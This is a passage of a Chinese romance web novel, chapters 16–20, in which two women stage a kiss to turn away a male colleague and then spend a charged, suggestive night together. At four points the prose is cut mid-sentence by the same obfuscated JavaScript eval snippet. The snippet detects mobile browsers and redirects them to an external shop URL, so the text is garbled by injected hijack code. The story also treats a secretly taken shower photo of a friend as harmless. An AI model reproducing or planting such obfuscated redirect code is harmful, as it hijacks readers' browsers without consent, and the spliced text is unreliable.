她长得年轻,卵巢功能也非常健康,平时很少做大表情,眼周几乎一点皱纹都看不到,皮肤有些细小的斑点,但无伤大雅,倒更添生动,整体算光滑白净。 至于五官嘛,她个人不太好评价,应该还行。 嘴唇…… 谢舒毓对镜浅抿,又微微瞠目,半启唇线,控制不住,表情开始变得做作。 接吻的时候,温晚看到的就是这样一个她吗?好奇怪哦。不过话说回来,接吻好像都要闭上眼睛吧,温晚是看不到的。 那她也看不到温晚了。 有点遗憾。 谢舒毓正投入,镜子忽然出现一张熟悉的脸。 小脸大眼睛,五官风格完全与她相左,昳丽,醒目,少女的俏皮和成熟女人的精致感完美融合,是她身边再熟悉不过的一个人。 难道出现了幻觉?谢舒毓纳闷,才一会儿不见,就这么想她呀。 “小筷子,你在干嘛呢?”温晚贴墙站着,黑眼亮晶晶,像两颗水洗过的大葡萄。 16.第 16 章 对镜发春,被人抓包。 太丢人了,太丢人了!谢舒毓迅速抓起台面上纸盒,扭头就要走。 “去哪儿?”温晚展臂把她堵在卫生间,“拿的什么我看看。” 谢舒毓一言不发,东西藏在怀里,捂死紧。 像只热衷刨坑打洞的仓鼠,温晚两爪使劲地掏,“你不给我看,我偏要看!” 你进我退,两人推推搡搡,打进淋浴间,谢舒毓缩在墙角,被温晚骑在地上,刚才还挺自恋的,心里嘀咕说很少做大表情,结果还没过半分钟,脸都笑僵了。 “干嘛你!”她忍无可忍,笑骂出声,“要死了。” “藏的什么,有什么是我不能看的。” 温晚去抓她腰,她忍不住“哼”了声,浑身一拧,手臂胡乱挥摆,怀里藏的东西掉在地上。 温晚飞快捡起,逃窜至卧房,窗边就着亮一看,漱口水,小袋分装,水蜜桃味。 啊啊啊啊啊—— “什么嘛!你不要脸!”温晚抓起纸盒,扬手丢还给她,一阵风似又刮不见。 谢舒毓脱力跌坐在地,眼眶一圈都急红了,原地休息好半天才捡了纸盒爬坐起。 地球自转和公转特性使然,早春时节,还不到六点太阳就落山了,但自然的微光永不熄灭,广阔的天野,稀疏星子,耀光点点。 谢舒毓整理好下楼,门前那棵高大的皂荚树上,缠绕的灯带逐一亮起,撒下温暖黄光,长桌边温晚端坐,几分钟前的疯样全不见,宛若异国皇室酒会上矜持的金发公主。 老板给她们准备了烧烤炉,左叶和许徽音在旁整理食材,次子去搬了两箱啤酒过来。 庄园不是只有她们一拨客人,周末不少家庭档,幸好温晚订房比较早,占据最佳位置,周围开阔明亮。 “谢小姐也来了。”左叶怪腔怪调。 “我算哪门子的小姐。”谢舒毓走近,也不用问,自己找活干。 至于温晚,许徽音让她坐着别动,今天享受就好。 “小狗不在了,我知道你伤心,但也不要过于伤心,毕竟大喜的日子。”左叶每一句话都别有深意。 谢舒毓手腕飞快擦过鼻尖,强忍笑。 温晚配合,“多谢姐妹。” 几个女孩在一起,让人感到心情愉悦的主要原因,是那种无处不在的贴己和包容,穿串、刷酱汁、烧烤,整个过程,大家配合默契,不会因为谁少干了谁多干了而发生争执,反倒是都心甘情愿抢着干。 “父母把我们调教得太贤惠,太懂事。”虽然左叶一直不太喜欢以上用到的此类褒义词汇,但就事实来说,几乎是每个女孩都具备。 左叶真诚感慨道:“所以喜欢女生这件事,很自然而然就发生了。” 不同的家庭,差不多的相处模式,让她们之间很容易就产生共情,像两只淋雨的小猫,蜷缩在角落,相依偎着取暖。 性别数量劣势,次子满脸小心,举着手傻傻站在一边,不知该从哪里开始。他眼里没活。 “二公子平时应该都不怎么做家务的吧?”左叶抬头瞟他一眼,“别杵那了,挺占地方的,玩去吧。” 倒不是心疼他,纯粹跟他不熟,不想让他融,也怕他确实干不好,还得花时间教,给他收拾烂摊子,看着烦。 “确实,很少。”次子垂下手臂,不再做多余的事。 他又不傻,当然能感觉到人家有点嫌弃他。 要换作一般场合,他扭头就走了,想追温晚就只能忍着,像小女孩默默忍受一帮抽烟喝酒乱开黄腔的大老爷们。 但女孩们天生心底善良,素质高,即便排外也不会过分针对,更不会看人手足无措站在那,就居高临下的姿态扯着脖子哈哈笑,肺里像装了台抽水机,笑出气泡声。 不过嘛,男的都脸大,不害臊。他指指左叶跟许徽音,“我看你们两个总是形影不离,难不成……” 他试探着,“是一对?” 形影不离就是一对啊,谢舒毓默默穿着热狗肠,用剪刀在肠上剪出一道一道的小口,方便烤的时候入味,心说那她跟温晚算怎么回事。 “形影不离就是一对啊。”左叶真神了,“那温晚跟谢舒毓怎么回事。” 谢舒毓惊讶抬眸。 “看我干啥。”左叶还问呢。 谢舒毓摇头。 左叶不是一般人,看起来是跟次子一问一答,其实在场每一个她都没落下。 “她们不是朋友吗?”次子还记得,回头看向温晚,“最好的朋友。” 旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607124|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事重提,谢舒毓点头笑,“没错,朋友。” 温晚一言不发,开了瓶啤酒,先吹上了,那豪迈劲儿,跟她平时在公司的都市小可人形象大相径庭。 “你就自己先喝上了。”左叶开玩笑说:“还一个菜都没有呢。” 谢舒毓飞快抬头看了眼,感觉她有点不对劲。 “小碗?”许徽音站在烧烤架边。 “晚晚。”次子在桌对面。 所有人都在看她,她是今天的主场,大家全都是因为她聚到一起,不到一个小时,从果园到庄园,从楼上到楼下,温晚忽然想通一件事情。 她在害怕什么? 又开了一瓶,温晚猛一下怼在桌面,白泡激涌布满瓶身,她勾勾手指,“傅明玮,你过来。” 全场鸦雀无声,大家都预感到有事要发生。 “我叫你呢,你聋了?”温晚拔高声调。 傅明玮从对面桌站起来,绕了半圈,走到她面前。 温晚把酒瓶塞他手里,抓起自己剩的那半瓶,两只瓶身“锵”一击,仰脖就往嘴里灌。 盯她几秒,傅明玮不甘示弱,也开始吹。 这几天温晚一直憋了口气,有关傅明玮,有关谢舒毓,工作,生活,有关她身边的一切。 过分忍耐的后果就是她精神全线崩溃。 谢舒毓常说自己最擅长的事就是忍,难道她没有在忍吗? 她忍了好几年。 “来,喝!”温晚手背抹一把嘴,连开四瓶。 大饮!狂饮! “温晚。”谢舒毓放下手里的竹签,扯了两张湿巾擦手,连名带姓喊她。 “你给我坐那!”温晚横臂指,领口被酒液润湿,灯下皮肤莹莹泛光。 此刻,她的眼睛格外的大和亮,长发柔顺,长裙包裹纤细姣美的身体,却一股少见的匪气。 谢舒毓绕过长桌,大步走到温晚面前,夺去酒瓶,“你疯了?” “我疯了。”温晚盯着她,像用了很大的力气,死死盯着。 谢舒毓不满皱眉,低头找纸,想给她擦擦身上,冷不防被她劈手按在桌边,大腿一侧撞在桌沿。 随即,女人被酒液浸湿的温暖身体覆来,谢舒毓嘴唇一痛,被恶狠狠咬了一口。 17.第 17 章 谢舒毓万万没想到,她被强吻了。 漱口水没用上,这个吻带着浓浓的酒精味,两片嘴唇相触的瞬间,她感觉到痛,很快又尝到淡淡血腥气。 所有的事,天底下所有的事,想再多,想尽了一切可能会出现的意外,准备再是充分,也绝非万全。 一定会有各种你预想不到的状况发生。 意料之外,但情理之中。 温晚真疯了,疯得很彻底,本来大家有商有量,说喝差不多的时候,一起去卫生间漱口,回来借着轻微的酒劲儿,在次子面前上嘴皮下嘴皮浅浅那么一碰,就算完事。 温晚不守承诺,自己先灌下三瓶,把谢舒毓揪过来啃了。 没错,就是啃。 一点也不唯美,毫无章法,完全是乱来。 谢舒毓“呜呜”挣扎,温晚猛一拍桌,细细长长的手指头戳在人鼻尖,连喊带叫的。 “给我老实点!” “呸——”谢舒毓偏脸吐了口血沫。 温晚掰住她下颌,迫使她转过脸,再次俯身追咬。 也没人拦着,都杵一边看热闹,急什么,反正又不是亲她们。 “温晚!” 亲到一半,谢舒毓得空张嘴喊了声。 “在这儿!”温晚应,一条腿踩踩在椅子上,一条腿跪在桌面,身下是小鸡仔般的谢舒毓。 面前的温晚全身皮肤发红,一双眼简直亮得吓人,像狼。 谢舒毓快速舔了下嘴角,是真疼,她呼吸全乱,声音带着诱人的喘,“你亲够了没。” 没有,温晚还想亲。她华丽的裙摆铺散开,像一朵巨大妖艳的食人花,谢舒毓是被花蕊裹缠住的竹节虫。 “温晚!”察觉到她意图,谢舒毓警告出声。 “那你得问他看够了没。”温晚按下冲动,转过脸。 傅明玮人都傻了,站那好半天才回过神来,磕磕巴巴说“什么意思”。 到底什么意思,他又不是来看片的。 等等,傅明玮猛一拍脑门,好像明白了。 “你们……”他指着对面这俩人。 “我不喜欢男的,别再缠着我,也别再给我送花了。”温晚心平气和说。 皂荚树底下太热闹了,旁边几桌的客人不敢明目张胆凑近看,只能把脖子努力拔得高高,手里举的串半天不吃,眼睛瞪得滴溜圆。 傅明玮低头笑,快速擦了下鼻梁,“所以你……” 他摊手,连续点头,“这出是专程演给我看的,叫我来也不是真的给你过生日。” “不然呢?” 温晚说:“我不缺朋友,也不缺买花的钱,这么做确实有些不礼貌,但我真的找不到更好的场合了,我又怕直接拒绝你,你以后在公司针对我,给我穿小鞋。” 她还知道不礼貌啊。 谢舒毓咳嗽一声,“能不能先从我身上下来。” 这女的坐在她肚子上,她快断气了! “你等会儿的。”温晚快速回:“我这边事情还没处理完。” “哎呦我去。”左叶在旁边笑得不行。 许徽音捂脸,不忍直视。 环顾一圈,傅明玮也笑了,“温晚,这番话出来,你心里该踏实了,你把我架得那么高,我哪儿还敢给你穿小鞋。” “您大气。”温晚随口。 “不如你。”傅明玮抱拳。 他真是气得不轻,拿起挂在椅背的外套,抬脚就要走。 “欸!”许徽音赶忙去拦,“你喝了酒不能开车。” “我叫代驾。”傅明玮轻微挣了下,眼眶有点红了。 “荒郊野外,代驾那折叠的小自行车,怎么过得来啊。” 许徽音出面,是真怕他以后在公司为难温晚,把他按在椅子上,“就在这儿睡吧,来都来了,晚上不安全,别拿自己生命开玩笑。” 傅明玮坐在椅子上,胡乱扯了把领口,抓起空酒瓶,往嘴里倒了口白沫子,说温晚欺人太甚。 “我喜欢一个人,我追她,给她送花。她一个消息,我大老远开车来给她过生日,被她晾了半天也没生气,我有错吗?我哪儿做错了?” “你没错。”许徽音拍拍他肩膀,重新给他开了瓶酒,“但你也得体谅体谅小碗,她有很多顾虑,她一个人在这边挺不容易。” “那她有什么话不能当面说?”傅明玮哭喊出声,今天是真被伤着了。 “现在不就说了,只是方式有点过激,但也情有可原嘛……” 许徽音都不知道怎么给她圆,推推酒瓶子,“傅总,要不您再喝点,喝到断片,明早烦恼全消。” 傅明玮抬手抹了把脸上的泪,“她把我想成什么人了?” 许徽音心说你原本是什么样的人不知道,但从此往后,就温晚这事儿,你八成、应该是能做个“好人”了。 旁边左叶帮忙把温晚扶下桌,她发够疯,瘫坐在藤编椅,满脸“烂命一条,随你们便”。 谢舒毓桌上躺了半天,像盘菜,被人吃干抹净,这会儿扶着腰坐起来,手指碰碰唇角,还有血。 左叶笑嘻嘻看着她俩,问“感觉怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624115|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样”。 “像被狗咬了。”谢舒毓面无表情说。 温晚本来死鱼一条,听见这话没忍住撂了脾气,“那你就是屎。” 谢舒毓转身就走。 这不是她想要的,不是做温晚拒绝烂桃花的工具人。 傅明玮再有千般不是,有句话说得没错,温晚欺人太甚。 一楼大厅有公共卫生间,谢舒毓来到水池面前,镜子里看到自己唇周一圈都泛着红,嘴角还有明显的破裂。 这个初吻一点都不美好,完全不是她想象的那样,刚才说的也不是气话,就是被狗咬了。 现在回想,一个小时前对镜痴笑,认真模拟接吻情形的她,简直纯傻逼。 笑了下,是个自嘲的笑,谢舒毓弯腰掬水洗脸,以及她的口红。 “谢舒毓。” 空旷的环境,女人干净的嗓音撞击在雪白的瓷砖墙,不断回响,如有实质般,心间泛起涟漪。 谢舒毓抬起头,镜中艳丽的一抹。 “你还说不是嫌我脏。”温晚扬手扔过来一个纸盒,“原来是我搞错了,这是结束后用的。” 漱口水,小袋分装,水蜜桃味。 谢舒毓转身面对她,“你做这些之前有跟我商量过吗?” 到底是谁在不停、不停摧毁她的信任,努力搞砸这一切。 “我怎么没跟你商量,你不是同意了。”温晚上前一步,走到更为明亮的灯光下。 她裙子湿了半截,样子有些狼狈,但更添生动美丽,谢舒毓印象中的她,就是此刻模样,穿最漂亮的裙子,说最狠的话,干最疯的事。 “我怕你反悔啊,你从来都是个反复无常的小人,我没办法。但我真没看错,真没看错你谢舒毓,才从桌上下来,你就跑到卫生间洗嘴,你是有多嫌弃我!” 谢舒毓来不及反驳,被她揪住卫衣领,猛一把拽得弯下腰,鼻梁撞鼻梁,又被迫承受了一个凶残的吻。 充满爆发力,强烈,生猛。 还有疼痛。 分离,谢舒毓退后半步,撑靠在洗手台边缘,手背虚掩唇瓣。 “你再洗啊。”温晚威胁,“你洗一次,我亲一次,让你全身都糊满口水!我嫌我脏,我把你变得跟我一样脏!” 谢舒毓转身照镜子,毫不意外,右边嘴唇也破了。 “我收回之前的话。”她面对镜中的温晚,“你不是狗。” 什么?温晚不明所以,皱眉,小幅度歪头。 “你就是只鳖。”谢舒毓说。 她被鳖咬了,两次。 18.第 18 章 小时候真让鳖咬过,但不是谢舒毓。 温晚是独生女,家里条件好,柜子里那些漂亮的公主裙,小皮鞋,她穿一整个暑假都不带重样。 从小受宠,家人对她从来百依百顺,把她惯得有点淘,即便被鳖咬,也是夸她敢于尝试,有冒险精神。 生意人都有点迷信,鳖是温晚外婆菜市场专门买来放生的,定在地藏王菩萨生日那天放,还没到日子,就先养在家门口的大水缸里。 温晚每天拿馒头去喂,喂着喂着,觉得跟鳖的关系已经好得快要超过谢舒毓,就伸手去摸,毫不意外被咬。 谢舒毓进杂志社以后,好巧不巧,画的第一幅图就是鳖。 鳖,俗称甲鱼、王八等,爬行动物,背甲椭圆,坚硬,通体橄榄绿。 杂志文章目的在科普常识,内容也要求简单有趣,学敏收集素材的时候,谢舒毓专门讲述了温晚童年被咬经过,于是学敏特意在文末提醒——“甲鱼的咬合板可是很厉害的哟,小朋友们不要轻易引逗嬉弄,大朋友也不可以!” 温晚被咬后,手指头肿得像根棒棒糖,缩在谢舒毓怀里哭,抽抽嗒嗒说“还是你跟我最好”。 臭甲鱼恩将仇报,真是太坏了。 “被鳖咬过,你现在也变成鳖了!”谢舒毓生怕她听不懂。 鳖咬人是出于一种自我保护,加之咬合强劲,性情执拗,一旦咬住轻易不会松口,温晚身上确实很有些鳖的执着。 “对啊!”温晚扯着脖子,理直气壮的,“我变异了,变成鳖鳖侠了。” 谢舒毓本来好生气,被她一句“鳖鳖侠”逗乐了,努力憋笑,表情扭曲,最后实在憋不住,弯腰缩到地上去,笑成一团。 她也成憋憋侠了。 “你笑个屁啊。”温晚踹她一脚。 老话说一笑泯恩仇,谢舒毓撑身站起,没那么生气了。 但不生气不代表原谅,她转身往外走,回到餐桌边,也给自己开了瓶酒。 “欸,这就对了嘛,来该吃吃该喝喝,遇事不往心里搁,有什么事情是一顿饭解决不了的。” 左叶撸起袖子,肉串在碳炉上腾跃出耀眼的火星,“让姐给你们露一手。” 谢舒毓本想直接上楼,顾忌着左叶和许徽音,忍气坐下来。 和温晚吵得最凶的一次,她们一年没说话,见面直接就牵了手,还跟从前一样好。别人不行。 友情也是需要维护的。 还有次子,今天这事,确实是她们做得不对。 “我给你赔礼道歉。”谢舒毓欠身跟他碰了下酒瓶。 傅明玮满脸通红,不知是气的,哭的,还是醉的,也许都有。 “所以你们也是一对?”他问。 温晚气鼓鼓跟在后头,死盯谢舒毓后脑勺。 “当然不是。”谢舒毓自嘲笑一下,喝了两口酒,“人刚才不说了,我就是坨屎。” 许徽音端了些烤好的蔬菜过来,“她是狗,你是屎,狗爱吃屎,你们天生一对。” “她不是狗。”谢舒毓摇头说:“她是鳖鳖侠。” 左叶满头问号,“什么破玩意。” “那我懂了。”傅明玮点点头说:“你真仗义。” 仗义? 仗义。 谢舒毓拿了串烤玉米,没啃两口,嘴皮火辣辣疼。 “仗义,我太仗义了。” 之后她都没怎么吃,左叶跟傅明玮凑一块划拳,许徽音体贴她跟温晚情绪不好,左右牵着哄上楼,叮嘱说:“早点休息,别胡思乱想,也别打架。” 温晚喝醉了,抱膝蹲坐在走廊地毯,表情呆呆,谢舒毓拿房卡开门,许徽音帮着把人弄进去,临走不忘交待,“她吐的话,你看着点,别窒息了。” 谢舒毓点头答应,送许徽音到门口,“这趟太麻烦你们了。” “说的什么话,都是朋友。”许徽音招招手,“不用送,快看着点她。” 房门关闭。 谢舒毓回头,温晚还没完全醉迷糊,跪坐在地,灯下,像一朵幽夜中盛放的剧毒之花,少许汁液便能置人于死地。 她察觉到视线,缓缓抬起头,双眼大而明亮,却目光空洞。 那香气也是有毒的,致幻,否则谢舒毓怎么会忍不住想吻一吻她的唇。 转身,凭借强大的意志力,谢舒毓斩断魅惑,进淋浴间放水,挤牙膏,卸妆油也放在架子上。 吵过,闹过,还是要跟她共处一室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639266|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至得帮她脱衣服洗澡。 “还能不能起来?”谢舒毓叉腰站她面前,推了她一把。 她身子晃荡两下,软绵绵往后栽。 “欸!”谢舒毓慌忙伸手去捞,“碰瓷是不是。” 把她虚虚揽在怀里,拉开后背裙子拉链,像剥一颗荔枝,红火的果皮褪下,露出里头甜美多汁的果肉,有淡淡酒气,并不难闻,像熟透了,带来一种奇妙的微醺感觉。 “温晚。”谢舒毓音色变得嘶哑。 她撑不住,或是根本就懒得撑,怀里倒来倒去,谢舒毓只能抱得更紧一些。 裙子的款式原因,她没有穿内衣,用的胸贴,谢舒毓帮她揭下来,举头不看,却无法不感受。 “我大不大?”温晚终于出声,热气撩在耳畔。 入夜后气温变低,她手臂冰凉,那里也是,谢舒毓吸了口气,“别胡言乱语,快些洗澡,不然要感冒的。” 温晚头靠在谢舒毓肩膀,“你果然嫌我脏。” 也是真的、真的,一点都不喜欢她,都快脱光了,也不趁机偷摸一把。 谢舒毓将她抱起,长裙腰以下自然滑落,“你还不脏,你浑身都是酒和汗。” “那你还抱我!”温晚带着哭腔吼了一嗓子。 眼泪包,娇气包,谢舒毓找着她屁股,手臂承托,用力往上提了下,方便把人抱进浴室,心说是真有劲儿啊,那人家强吻的时候,怎么半天推不开? 她身上冰冰的,黏黏的,但软,真软,肉捏在手里,像冰淇淋,不需要怎么用力就暖化了,滴滴答答裹得满身。 梦中场景此刻完全具象化,谢舒毓心跳剧烈,脑浆沸腾,呼出的气像一把无色无形的火。 偏偏嘴上还得装得道貌岸然,“那我不管你还有谁管你,难不成叫左叶来,她可不伺候。” 温晚两手环住谢舒毓脖颈,摆正了脑袋,噙泪的睫毛忽闪忽闪,“既然你那么好,能不能再亲我一下。” “不要。”谢舒毓拒绝得干脆,防止偷袭,把脸转到一边。 “为什么?”温晚好绝望,她的心怎么那么硬啊。 “因为你是鳖鳖侠。”谢舒毓说。 而她是憋憋侠,一向很能憋。 19.第 19 章 憋憋侠VS鳖鳖侠 “你自己洗好不好。” “不好。” “你不是还清醒着。” “我不清醒。” “不清醒你焊在我身上一样。” “是你先来抱我的。” “癞皮狗呗。” “是癞皮鳖。” 后背抵墙,谢舒毓没忍住笑,抬手摸摸她的头。疯玩了一天,还是软软滑滑,头发真好,谢舒毓喜欢温晚的头发。 她的脸,太漂亮,她的眼睛,太有力,她的一颦一笑,一举手一投足,揪扯人心,她的身体,更充满诱惑。 只有这头乌黑柔软的长发,是完全属于她,却并不偏向她,指尖滚烫的热度和心中压抑的疯狂照单全收,从不出卖,暗暗回应,掌心弯折出脆弱的弧线。 谢舒毓一遍遍抚。 “你喜欢呀。”温晚再迟钝也感觉到了,“你好像很喜欢摸我的头欸。” 她傻乎乎的,“你也可以留长头发呀。” 小时候的谢舒毓一直是长头发,梳低马尾,瘦瘦高高,穿条白裙子,怀里抱本书,像一枝幽香的茉莉,从小区东面走到西面,上楼敲开她的家门,然后笑着打招呼,“小碗,我来找你玩啦”。 “麻烦。”谢舒毓声音低低从头顶传来,说“不想留”。 近几年的她,变得沉郁,温晚希望是因为自己,又更想她能开心。前者是因为爱,后者同样,爱真是个复杂的东西。 “但是很好看呀。” 温晚试图说服:“为了好看也不可以吗?我喜欢你长头发的样子,会显得温柔得多。” 我也没有很凶吧,谢舒毓动动嘴角,咧出酒窝。 “嘿嘿!”温晚手指立即戳上去。 这家伙倒是挺有自知之明的,“难道打理头发比打理我还要麻烦。” “这么麻烦的东西,有一个就够了。”谢舒毓动动腿,站累了,用膝盖顶她,“还不洗?” 果然是嫌我麻烦。温晚压下心头不快,“你跟我一起洗。” “想得美。”谢舒毓抽身要走。 不是不可以,也不是不合适,也许是酒精麻痹了大脑,温晚一时没品出来,伸手想去开花洒,直接把人淋湿。 谢舒毓岂能让她得逞,飞快抓住她手臂,她咬牙抵抗,气力在瞬间变得惊人,于是两人莫名其妙开始掰手腕。 “唉,我输了。”温晚最终落败,表情却意味深长。 臭筷子,铁筷子,是个当1的好料子。 谢舒毓不再惯着,把温晚撂一边出了浴室,“你的酒量我又不是不知道,还装柔弱,这么大的力气,倒拔垂杨柳都绰绰有余。” 她弯腰去捡地上的裙子,准备先收到脏衣篓,等洗完澡换下一起拿到楼下去洗,才伸出手,忽然感觉脑袋上多了个轻飘飘的小物件,起身镜子里一看,温晚把内裤扔她头上了。 “你力气大,你精神足,你给我洗了。”温晚在里头吩咐,嗓门透亮,穿过哗哗的水流声。 真服了。 谢舒毓对镜深呼吸,顶着内裤出去,把裙子放好,又顶着内裤回来,水池面前猛一把拽下来。 下次她会准备好一次性内裤,然后恶狠狠摔进垃圾桶。 温晚洗澡不关门,还拿水弹人家,谢舒毓从始至终没往那边看一眼,冷脸洗完内裤,又洗了衣架,拿出去晾在阳台。 白房子坐北朝南,房间是边户,阳台靠西,看不见楼下,只远远听见热闹的碰杯声,寂夜深林中一抹浓香烟火味。 这地方确实偏,远离城市,夜空也格外的黑和亮,远方起伏的山脉如匍匐的巨兽,长久凝视,心中生惧。 谢舒毓是个很容易没有安全感的人,尤其对陌生的环境,但温晚在身边就感觉还好,遥远夜枭鸣啼,滂湃的风,黑暗角落的不知名动静,惹人一惊一乍,也新奇诡谲。 阳台上站了几分钟,谢舒毓回到房间,给手机充电的时候,不经意间抬头,被眼前场景瞬间击中,呼吸骤停。 像一条美女蛇,她妖娆的身躯透过质感朦胧的磨砂玻璃完整显现在眼前,水中舒展、扭动,近处鲜明,远处暗昧,像一根柔软的羽毛,搔动人心,又像一个响亮的巴掌,甩得她满脸通红。 ——女人美丽的身体。 谢舒毓手捂鼻端,背身坐下,几次回头。 偷窥的快意把场景数倍膨胀,到达极限后“轰”一声爆炸开,飞溅的玻璃碎片直刺心脏,把她钉死在羞耻架。 直到水声停。 谢舒毓想起件小时候的事。 其实也没多小,只是人随年龄增长,对“小时候”这个概念,会不断放宽限制。 谢舒毓说的小时候,是大学。她在美院,温晚在财院,两校虽相隔不远,但终究不能再像从前那般,朝夕相伴、形影相依。 大二那年暑假,快开学的时候,温晚不知道从哪里听说,美术生都要画人体,一个懒散的午后,她把自己扒个精光,要谢舒毓画她。 太阳透过白色纱帘,把整个房间都照得亮堂堂,旋转,她恣意展示,像一块纯洁的水晶,周身折射出璀璨而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656265|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀眼的光芒。 “我肯定比你画过的所有模特都好看。” “油画才画人体,我学国画的。”谢舒毓躺在房间的小床上,拿书挡脸,一眼没多看,“我们虽然也画模特,但不需要脱光。” 温晚爬上床,趴在她身边,“甭管怎么画,反正你就画。” “我不会画。”谢舒毓认真看书。 温晚手指着书上一行字,“这句,读给我听。” 谢舒毓没读出来,因为她发现自己把书拿倒了。 如此戏剧,如此抓马。她这辈子所有的丢人事,都是跟温晚在一起的时候发生的。 那天她还是画了,温晚躺在小雏菊花纹的新床单上,没一会儿就睡过去,老房子没空调,电风扇对着吹,她又冷又热,睡得不太安稳。 谢舒毓起身给她盖上凉被,她半睡不睡,还不忘叮嘱说“好好画啊”。 指尖勾住她额前一缕碎发,别在耳后,谢舒毓以肘支额,躺在她对面,她感觉到了,再次睁开眼睛,问:“你干嘛呢。” “观察。”谢舒毓大言不惭。 后来搬过几次家,那幅画一直带着,直到现在还在宿舍床底下,防尘布里三层外三层包得严严实实。 温晚宣布跟前妻姐恋爱的时候,谢舒毓想拿去河边烧掉的,思量再三,终究没舍得。 画里不止有温晚,还有她寸缕不挂的相思恋慕。 现在,温晚又寸缕不挂出现在面前。 “看傻了?” 温晚什么时候走到面前的,谢舒毓毫无所觉,她抬起头,女人美丽的身体此刻完整具象化。 “怎么不穿衣服。”她没察觉到自己音色变得沙哑。 “你没给我拿衣服。”温晚歪着脑袋擦头发。 她的手像一根逗猫棒,谢舒毓不由视线跟随,看透明的水珠从发梢滑落,锁骨处缓缓蜿蜒,在铺满月光的小丘间流淌。 “傻愣着干什么,还不给我拿衣服。”温晚一语惊醒梦中人。 “你不是都裸睡。”谢舒毓两肘搭膝,上身微抬,喉咙有些发干。 “啊?”温晚愣了一下,快速眨眨眼睛,“这是在外面,不一样。” “哦——”谢舒毓起身去翻背包。 半晌,温晚回过味来,挨去她身边,小小声:“刚才是不是看傻了?” “有什么可看。”谢舒毓翻个白眼,“谁没有。” “你没我大啊。”温晚傲然。 谢舒毓把睡裙丢她脑袋上,“大有什么用。” 又不能摸。 20.第 20 章 接近零点,楼下客人已尽数回房休息,只余满桌残羹冷炙,两个陌生的男孩在低头收拾,空气中碳火味冰凉。 “叶子她们也回去了。”温晚跟谢舒毓下楼洗衣服,睡裙外面披了件外套,宽宽大大的,她无聊甩着袖子玩,看谢舒毓吨吨往里倒除菌液。 “回去重新洗一遍。”谢舒毓叮嘱说。她有点小洁癖。 温晚答应了声,坐到院子里一架木秋千上,兜里摸出手机,戳开相册。 照片里是洗澡时偷拍的谢舒毓,在房间里,隔着层磨砂玻璃,虽只有一片纤薄的倩影,朦胧的灯光下别有番韵味。 回头望,谢舒毓正弯腰研究洗衣机,温晚捂嘴偷笑一下,照片标记为私密,握紧秋千两边麻绳,足尖发力,身体轻盈荡高。 偷拍不道德,但她们是好朋友嘛,都亲过嘴了,没关系的。 今天好忙好乱,过程虽惊险,但结局十分美满,她凭借自己的努力,取得了非常珍贵的一件生日礼物。 小筷子的初吻! 成年以后,她们就没怎么亲过嘴了,也很少抱着睡觉,一起洗澡更成为奢望。 温晚记性不好,过去的事很多只能记住个大概的时间和经过,具体哪年哪月,说不清。 总之吧,小时候她跟谢舒毓是经常在一块洗澡的。 第一次是在镇上奶奶家,可能是三年级,也可能是四年级,反正是夏天,老房子门前的水泥地上,一只超大黑色木盆,里头盛了大半盆热水,妈妈让她们脱光了坐进去,然后用打了肥皂的小帕子给她们擦身上。 奶奶当时说了句话,她倒是记得很清楚,说她们是两只白白嫩嫩的藕娃娃。 小筷子想跑又跑不掉,被妈妈扯着胳膊,从头擦到尾。 “阿姨,我可以自己来的。”她细声细气。 “你自己怎么洗得干净,小胳膊小腿的。”妈妈一向雷厉风行,快快就擦好了。 “啥是藕娃娃。”小碗很自觉,站得直直,方便妈妈擦。 妈妈挠她咯吱窝,“藕娃娃,泥巴地里挖出来的,洗干净才能吃。” 哦!想起来了,她们是去荷塘里玩泥巴回来,那天洗了四五盆水才彻底洗干净,洗完妈妈就不准出门了,按在房间里看电视。 小时候她们多好啊,一起上学放学,一起调皮捣蛋,晚上还搂一块睡觉,你亲亲我,我亲亲你。 温晚掏出手机,现在只有照片可以看了,小筷子对她严防死守,卫生间门永远不会忘记反锁。 